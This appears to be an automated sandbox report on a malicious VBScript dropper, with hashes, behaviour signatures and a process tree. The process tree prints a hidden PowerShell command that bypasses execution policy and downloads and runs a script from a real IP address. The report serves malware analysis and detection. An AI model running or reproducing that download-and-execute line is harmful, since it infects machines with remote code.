Analysis

  • max time kernel
    115s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-11-2023 06:49

General

  • Target

    run.vbs

  • Size

    269B

  • MD5

    3dba029327dfd9f7166738e4d851cb8a

  • SHA1

    14c8f1078e934ae31a41eac643e9a1cca2ecf0c6

  • SHA256

    666131bf5ae20a64b55a835006afae921f20fc23923aeaf0d918ebb4718f8e4e

  • SHA512

    39585229250c8d48093fa78f5779d785efbaf41ac5829070f9316f2b95368b940f25d04f0c2a2aa4dac36c71172a9f426ed9dea01a8c7d7bbd01a7b16b943787

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://138.68.134.18/main.ps1

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://138.68.134.18/main.ps1')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3004

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxfee1b5.evl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3004-0-0x0000026CAB980000-0x0000026CAB9A2000-memory.dmp

    Filesize

    136KB

  • memory/3004-10-0x00007FFB110D0000-0x00007FFB11B91000-memory.dmp

    Filesize

    10.8MB

  • memory/3004-11-0x0000026C92A00000-0x0000026C92A10000-memory.dmp

    Filesize

    64KB

  • memory/3004-12-0x0000026C92A00000-0x0000026C92A10000-memory.dmp

    Filesize

    64KB

  • memory/3004-13-0x0000026C92A00000-0x0000026C92A10000-memory.dmp

    Filesize

    64KB

  • memory/3004-16-0x00007FFB110D0000-0x00007FFB11B91000-memory.dmp

    Filesize

    10.8MB